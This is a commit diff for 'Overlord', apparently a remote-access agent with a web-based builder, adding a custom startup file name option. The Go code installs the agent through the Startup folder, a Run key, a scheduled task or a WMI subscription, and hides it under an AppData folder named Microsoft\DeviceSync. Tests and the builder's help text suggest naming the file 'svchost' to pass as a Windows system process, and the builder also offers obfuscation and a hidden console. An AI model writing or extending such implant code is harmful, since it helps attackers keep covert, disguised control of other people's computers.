add custom file names to building and fix purgatory issue
This commit is contained in:
@@ -7,6 +7,8 @@ import (
|
||||
|
||||
var DefaultPersistenceMethod = "startup"
|
||||
|
||||
var DefaultStartupName = ""
|
||||
|
||||
var persistInstallFn func(targetPath string) error = func(_ string) error { return nil }
|
||||
|
||||
var persistUninstallFns []func() error
|
||||
|
||||
@@ -25,8 +25,7 @@ const (
|
||||
|
||||
appDataBinaryDir = `Microsoft\DeviceSync`
|
||||
|
||||
startupExecutablePrefix = "ovd_"
|
||||
taskNamePrefix = "ovd_"
|
||||
defaultExecutablePrefix = "ovd_"
|
||||
|
||||
legacyRegistryValueName = "OverlordAgent"
|
||||
registryValuePrefix = "OverlordAgent-"
|
||||
@@ -34,6 +33,17 @@ const (
|
||||
createNoWindow = 0x08000000
|
||||
)
|
||||
|
||||
func hasCustomName() bool {
|
||||
return DefaultStartupName != ""
|
||||
}
|
||||
|
||||
func executablePrefix() string {
|
||||
if hasCustomName() {
|
||||
return DefaultStartupName
|
||||
}
|
||||
return defaultExecutablePrefix
|
||||
}
|
||||
|
||||
func activeMethod() string {
|
||||
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
|
||||
switch m {
|
||||
@@ -103,7 +113,11 @@ func findExistingBinaryInDir(dir string) (string, bool) {
|
||||
continue
|
||||
}
|
||||
name := strings.ToLower(entry.Name())
|
||||
if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
|
||||
if hasCustomName() {
|
||||
if name == strings.ToLower(DefaultStartupName+".exe") {
|
||||
return filepath.Join(dir, entry.Name()), true
|
||||
}
|
||||
} else if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, defaultExecutablePrefix) {
|
||||
return filepath.Join(dir, entry.Name()), true
|
||||
}
|
||||
}
|
||||
@@ -115,11 +129,14 @@ func findExistingStartupExecutable(startupDir string) (string, bool) {
|
||||
}
|
||||
|
||||
func generateBinaryName() (string, error) {
|
||||
if hasCustomName() {
|
||||
return DefaultStartupName + ".exe", nil
|
||||
}
|
||||
b := make([]byte, 6)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return "", fmt.Errorf("failed to generate executable name: %w", err)
|
||||
}
|
||||
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
|
||||
return defaultExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
|
||||
}
|
||||
|
||||
func generateStartupExecutableName() (string, error) {
|
||||
@@ -127,14 +144,22 @@ func generateStartupExecutableName() (string, error) {
|
||||
}
|
||||
|
||||
func deriveTaskName(targetPath string) string {
|
||||
prefix := defaultExecutablePrefix
|
||||
if hasCustomName() {
|
||||
prefix = DefaultStartupName + "_"
|
||||
}
|
||||
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
|
||||
return taskNamePrefix + hex.EncodeToString(h[:4])
|
||||
return prefix + hex.EncodeToString(h[:4])
|
||||
}
|
||||
|
||||
func deriveWMINames(targetPath string) (filterName, consumerName string) {
|
||||
prefix := defaultExecutablePrefix
|
||||
if hasCustomName() {
|
||||
prefix = DefaultStartupName + "_"
|
||||
}
|
||||
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
|
||||
suffix := hex.EncodeToString(h[:4])
|
||||
return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
|
||||
return prefix + "f" + suffix, prefix + "c" + suffix
|
||||
}
|
||||
|
||||
func runPowerShell(script string) error {
|
||||
@@ -273,7 +298,13 @@ func cleanupPrefixedExecutables(dir string) error {
|
||||
continue
|
||||
}
|
||||
name := strings.ToLower(entry.Name())
|
||||
if strings.HasPrefix(name, startupExecutablePrefix) {
|
||||
var match bool
|
||||
if hasCustomName() {
|
||||
match = name == strings.ToLower(DefaultStartupName+".exe")
|
||||
} else {
|
||||
match = strings.HasPrefix(name, defaultExecutablePrefix)
|
||||
}
|
||||
if match {
|
||||
if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) {
|
||||
return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
//go:build windows && persist_registry
|
||||
// +build windows,persist_registry
|
||||
|
||||
package persistence
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func TestInstallRegistry_WritesQuotedValue(t *testing.T) {
|
||||
dummy := `C:\Testing\ovd_testvalue.exe`
|
||||
if err := installRegistry(dummy); err != nil {
|
||||
t.Fatalf("installRegistry: %v", err)
|
||||
}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
t.Fatalf("open registry key: %v", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
var found string
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
val, _, _ := k.GetStringValue(name)
|
||||
if strings.Contains(val, "ovd_testvalue.exe") {
|
||||
found = name
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if found == "" {
|
||||
t.Fatal("installRegistry did not write expected Run key value")
|
||||
}
|
||||
val, _, _ := k.GetStringValue(found)
|
||||
if !strings.HasPrefix(val, `"`) || !strings.HasSuffix(val, `"`) {
|
||||
t.Fatalf("expected quoted value like \"...\", got %q", val)
|
||||
}
|
||||
_ = k.DeleteValue(found)
|
||||
}
|
||||
|
||||
func TestInstallRegistry_UpdatesExistingValue(t *testing.T) {
|
||||
first := `C:\Testing\ovd_first.exe`
|
||||
second := `C:\Testing\ovd_second.exe`
|
||||
|
||||
if err := installRegistry(first); err != nil {
|
||||
t.Fatalf("installRegistry(first): %v", err)
|
||||
}
|
||||
if err := installRegistry(second); err != nil {
|
||||
t.Fatalf("installRegistry(second): %v", err)
|
||||
}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
t.Fatalf("open registry key: %v", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
var matches []string
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
val, _, _ := k.GetStringValue(name)
|
||||
if strings.Contains(val, "ovd_first.exe") || strings.Contains(val, "ovd_second.exe") {
|
||||
matches = append(matches, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, name := range matches {
|
||||
_ = k.DeleteValue(name)
|
||||
}
|
||||
if len(matches) != 1 {
|
||||
t.Fatalf("expected exactly 1 Run value for the two installs, got %d", len(matches))
|
||||
}
|
||||
}
|
||||
@@ -26,8 +26,9 @@ func installTaskScheduler(targetPath string) error {
|
||||
}
|
||||
|
||||
func uninstallTaskScheduler() error {
|
||||
prefix := executablePrefix()
|
||||
return runPowerShell(
|
||||
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
||||
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
||||
`Where-Object { $_.TaskName -like '` + prefix + `*' } | ` +
|
||||
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
@@ -26,7 +26,7 @@ func TestGetTargetPath_UsesStartupFolderAndRandomizedOvdName(t *testing.T) {
|
||||
t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got))
|
||||
}
|
||||
base := strings.ToLower(filepath.Base(got))
|
||||
if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") {
|
||||
if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
|
||||
t.Fatalf("expected randomized ovd_*.exe name, got %q", filepath.Base(got))
|
||||
}
|
||||
}
|
||||
@@ -124,7 +124,7 @@ func TestGetTargetPath_NonStartupMethodsUseAppDataBinaryDir(t *testing.T) {
|
||||
t.Fatalf("method=%q: expected dir %q, got %q", method, wantDir, filepath.Dir(got))
|
||||
}
|
||||
base := strings.ToLower(filepath.Base(got))
|
||||
if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") {
|
||||
if !strings.HasPrefix(base, executablePrefix()) || !strings.HasSuffix(base, ".exe") {
|
||||
t.Fatalf("method=%q: expected ovd_*.exe name, got %q", method, filepath.Base(got))
|
||||
}
|
||||
})
|
||||
@@ -171,8 +171,8 @@ func TestDeriveTaskName_DeterministicAndPrefixed(t *testing.T) {
|
||||
if got1 != got2 {
|
||||
t.Fatalf("deriveTaskName is not deterministic: %q vs %q", got1, got2)
|
||||
}
|
||||
if !strings.HasPrefix(got1, taskNamePrefix) {
|
||||
t.Fatalf("task name %q does not have prefix %q", got1, taskNamePrefix)
|
||||
if !strings.HasPrefix(got1, executablePrefix()) {
|
||||
t.Fatalf("task name %q does not have prefix %q", got1, executablePrefix())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,11 +199,11 @@ func TestDeriveWMINames_DeterministicPrefixedAndDistinct(t *testing.T) {
|
||||
if f1 != f2 || c1 != c2 {
|
||||
t.Fatalf("deriveWMINames not deterministic: filter %q!=%q or consumer %q!=%q", f1, f2, c1, c2)
|
||||
}
|
||||
if !strings.HasPrefix(f1, taskNamePrefix) {
|
||||
t.Fatalf("filter name %q missing prefix %q", f1, taskNamePrefix)
|
||||
if !strings.HasPrefix(f1, executablePrefix()) {
|
||||
t.Fatalf("filter name %q missing prefix %q", f1, executablePrefix())
|
||||
}
|
||||
if !strings.HasPrefix(c1, taskNamePrefix) {
|
||||
t.Fatalf("consumer name %q missing prefix %q", c1, taskNamePrefix)
|
||||
if !strings.HasPrefix(c1, executablePrefix()) {
|
||||
t.Fatalf("consumer name %q missing prefix %q", c1, executablePrefix())
|
||||
}
|
||||
if f1 == c1 {
|
||||
t.Fatalf("filter and consumer names must differ, both are %q", f1)
|
||||
@@ -226,8 +226,8 @@ func TestGenerateBinaryName_FormatAndUniqueness(t *testing.T) {
|
||||
t.Fatalf("generateBinaryName() error: %v", err)
|
||||
}
|
||||
lower := strings.ToLower(name)
|
||||
if !strings.HasPrefix(lower, startupExecutablePrefix) {
|
||||
t.Fatalf("name %q missing prefix %q", name, startupExecutablePrefix)
|
||||
if !strings.HasPrefix(lower, executablePrefix()) {
|
||||
t.Fatalf("name %q missing prefix %q", name, executablePrefix())
|
||||
}
|
||||
if !strings.HasSuffix(lower, ".exe") {
|
||||
t.Fatalf("name %q missing .exe suffix", name)
|
||||
@@ -311,7 +311,7 @@ func TestCleanupPrefixedExecutables_RemovesOvdFiles(t *testing.T) {
|
||||
|
||||
entries, _ := os.ReadDir(dir)
|
||||
for _, e := range entries {
|
||||
if strings.HasPrefix(strings.ToLower(e.Name()), startupExecutablePrefix) {
|
||||
if strings.HasPrefix(strings.ToLower(e.Name()), executablePrefix()) {
|
||||
t.Fatalf("ovd_* file %q was not removed", e.Name())
|
||||
}
|
||||
}
|
||||
@@ -326,76 +326,6 @@ func TestCleanupPrefixedExecutables_NonexistentDirReturnsNil(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallRegistry_WritesQuotedValue(t *testing.T) {
|
||||
dummy := `C:\Testing\ovd_testvalue.exe`
|
||||
if err := installRegistry(dummy); err != nil {
|
||||
t.Fatalf("installRegistry: %v", err)
|
||||
}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
t.Fatalf("open registry key: %v", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
var found string
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
val, _, _ := k.GetStringValue(name)
|
||||
if strings.Contains(val, "ovd_testvalue.exe") {
|
||||
found = name
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if found == "" {
|
||||
t.Fatal("installRegistry did not write expected Run key value")
|
||||
}
|
||||
val, _, _ := k.GetStringValue(found)
|
||||
if !strings.HasPrefix(val, `"`) || !strings.HasSuffix(val, `"`) {
|
||||
t.Fatalf("expected quoted value like \"...\", got %q", val)
|
||||
}
|
||||
_ = k.DeleteValue(found)
|
||||
}
|
||||
|
||||
func TestInstallRegistry_UpdatesExistingValue(t *testing.T) {
|
||||
first := `C:\Testing\ovd_first.exe`
|
||||
second := `C:\Testing\ovd_second.exe`
|
||||
|
||||
if err := installRegistry(first); err != nil {
|
||||
t.Fatalf("installRegistry(first): %v", err)
|
||||
}
|
||||
if err := installRegistry(second); err != nil {
|
||||
t.Fatalf("installRegistry(second): %v", err)
|
||||
}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
t.Fatalf("open registry key: %v", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
var matches []string
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
val, _, _ := k.GetStringValue(name)
|
||||
if strings.Contains(val, "ovd_first.exe") || strings.Contains(val, "ovd_second.exe") {
|
||||
matches = append(matches, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, name := range matches {
|
||||
_ = k.DeleteValue(name)
|
||||
}
|
||||
if len(matches) != 1 {
|
||||
t.Fatalf("expected exactly 1 Run value for the two installs, got %d", len(matches))
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupOverlordRunValues_RemovesMatchingValues(t *testing.T) {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
@@ -434,3 +364,108 @@ func TestCleanupOverlordRunValues_RemovesMatchingValues(t *testing.T) {
|
||||
t.Fatalf("expected %q to remain, got error: %v", keepName, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBinaryName_CustomName_NoRandomSuffix(t *testing.T) {
|
||||
orig := DefaultStartupName
|
||||
t.Cleanup(func() { DefaultStartupName = orig })
|
||||
DefaultStartupName = "svchost"
|
||||
|
||||
name, err := generateBinaryName()
|
||||
if err != nil {
|
||||
t.Fatalf("generateBinaryName() error: %v", err)
|
||||
}
|
||||
if name != "svchost.exe" {
|
||||
t.Fatalf("expected %q, got %q", "svchost.exe", name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBinaryName_DefaultName_HasRandomSuffix(t *testing.T) {
|
||||
orig := DefaultStartupName
|
||||
t.Cleanup(func() { DefaultStartupName = orig })
|
||||
DefaultStartupName = ""
|
||||
|
||||
name, err := generateBinaryName()
|
||||
if err != nil {
|
||||
t.Fatalf("generateBinaryName() error: %v", err)
|
||||
}
|
||||
if !strings.HasPrefix(name, "ovd_") || !strings.HasSuffix(name, ".exe") || name == "ovd_.exe" {
|
||||
t.Fatalf("expected ovd_<hex>.exe, got %q", name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindExistingBinaryInDir_CustomName(t *testing.T) {
|
||||
orig := DefaultStartupName
|
||||
t.Cleanup(func() { DefaultStartupName = orig })
|
||||
DefaultStartupName = "myapp"
|
||||
|
||||
dir := t.TempDir()
|
||||
expected := filepath.Join(dir, "myapp.exe")
|
||||
if err := os.WriteFile(expected, []byte("x"), 0644); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
// Also write an ovd_ file that should NOT be matched
|
||||
if err := os.WriteFile(filepath.Join(dir, "ovd_aabbcc.exe"), []byte("x"), 0644); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
|
||||
got, ok := findExistingBinaryInDir(dir)
|
||||
if !ok {
|
||||
t.Fatal("expected true, got false")
|
||||
}
|
||||
if !strings.EqualFold(filepath.Clean(got), filepath.Clean(expected)) {
|
||||
t.Fatalf("expected %q, got %q", expected, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupPrefixedExecutables_CustomName(t *testing.T) {
|
||||
orig := DefaultStartupName
|
||||
t.Cleanup(func() { DefaultStartupName = orig })
|
||||
DefaultStartupName = "myapp"
|
||||
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "myapp.exe"), []byte("x"), 0644); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
// These should NOT be removed with the custom name set
|
||||
keepers := []string{"ovd_aabbcc.exe", "other.exe"}
|
||||
for _, name := range keepers {
|
||||
if err := os.WriteFile(filepath.Join(dir, name), []byte("x"), 0644); err != nil {
|
||||
t.Fatalf("write %q: %v", name, err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := cleanupPrefixedExecutables(dir); err != nil {
|
||||
t.Fatalf("cleanupPrefixedExecutables: %v", err)
|
||||
}
|
||||
|
||||
entries, _ := os.ReadDir(dir)
|
||||
for _, e := range entries {
|
||||
if strings.EqualFold(e.Name(), "myapp.exe") {
|
||||
t.Fatalf("custom-named file %q was not removed", e.Name())
|
||||
}
|
||||
}
|
||||
if got := len(entries); got != len(keepers) {
|
||||
t.Fatalf("expected %d files remaining, got %d", len(keepers), got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetTargetPath_CustomName(t *testing.T) {
|
||||
origMethod := DefaultPersistenceMethod
|
||||
origName := DefaultStartupName
|
||||
t.Cleanup(func() {
|
||||
DefaultPersistenceMethod = origMethod
|
||||
DefaultStartupName = origName
|
||||
})
|
||||
DefaultStartupName = "updater"
|
||||
|
||||
appData := t.TempDir()
|
||||
t.Setenv("APPDATA", appData)
|
||||
|
||||
got, err := getTargetPath()
|
||||
if err != nil {
|
||||
t.Fatalf("getTargetPath failed: %v", err)
|
||||
}
|
||||
if filepath.Base(got) != "updater.exe" {
|
||||
t.Fatalf("expected updater.exe, got %q", filepath.Base(got))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -33,14 +33,15 @@ func installWMI(targetPath string) error {
|
||||
}
|
||||
|
||||
func uninstallWMI() error {
|
||||
prefix := executablePrefix()
|
||||
return runPowerShell(
|
||||
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*` + prefix + `*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "` + prefix + `*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "` + prefix + `*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
@@ -462,6 +462,9 @@ form?.addEventListener("submit", async (e) => {
|
||||
const persistenceMethod = hasWindowsTarget
|
||||
? form.querySelector("#persistence-method")?.value || "startup"
|
||||
: undefined;
|
||||
const startupNameVal = hasWindowsTarget
|
||||
? (form.querySelector("#startup-name")?.value.trim() || "")
|
||||
: "";
|
||||
const hideConsole = form.querySelector(
|
||||
'input[name="hide-console"]',
|
||||
).checked;
|
||||
@@ -494,6 +497,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined,
|
||||
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
outputName: outputNameVal || undefined,
|
||||
|
||||
@@ -325,6 +325,16 @@
|
||||
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||
</select>
|
||||
<div class="mt-3">
|
||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
||||
</div>
|
||||
<input type="text" id="startup-name" name="startup-name" maxlength="32"
|
||||
pattern="[A-Za-z0-9_-]+"
|
||||
placeholder="ovd (default)"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
||||
<p class="text-xs text-slate-500 mt-1">Custom name for the startup executable (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
|
||||
|
||||
@@ -20,6 +20,7 @@ export type BuildConfig = {
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
outputName?: string;
|
||||
|
||||
@@ -70,6 +70,7 @@ type BuildProcessConfig = {
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
startupName?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
builtByUserId?: number;
|
||||
@@ -702,6 +703,11 @@ func runBoundFiles() {
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
if (os === 'windows' && config.startupName) {
|
||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
|
||||
}
|
||||
} else {
|
||||
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
||||
}
|
||||
|
||||
@@ -48,6 +48,7 @@ export async function handleBuildRoutes(
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod,
|
||||
startupName,
|
||||
mutex,
|
||||
disableMutex,
|
||||
hideConsole,
|
||||
@@ -135,6 +136,10 @@ export async function handleBuildRoutes(
|
||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||
? persistenceMethod.toLowerCase()
|
||||
: 'startup';
|
||||
const safeStartupName =
|
||||
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
|
||||
? startupName.trim()
|
||||
: undefined;
|
||||
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
|
||||
? outputName.trim()
|
||||
: undefined;
|
||||
@@ -217,6 +222,7 @@ export async function handleBuildRoutes(
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
startupName: safeStartupName,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
builtByUserId: user.userId,
|
||||
|
||||
@@ -66,7 +66,7 @@ export async function handleEnrollmentRoutes(
|
||||
return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
|
||||
}
|
||||
|
||||
await updateEnrollmentConfig(body.requireApproval);
|
||||
await updateEnrollmentConfig({ requireApproval: body.requireApproval });
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
|
||||
@@ -25,6 +25,11 @@ if "%ENABLE_PERSISTENCE%"=="true" (
|
||||
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultPersistence=true"
|
||||
)
|
||||
|
||||
if not "%STARTUP_NAME%"=="" (
|
||||
echo Building with custom startup name: %STARTUP_NAME%
|
||||
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/persistence.DefaultStartupName=%STARTUP_NAME%"
|
||||
)
|
||||
|
||||
if not "%SERVER_URL%"=="" (
|
||||
echo Building with custom server URL: %SERVER_URL%
|
||||
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultServerURL=%SERVER_URL%"
|
||||
|
||||
Reference in New Issue
Block a user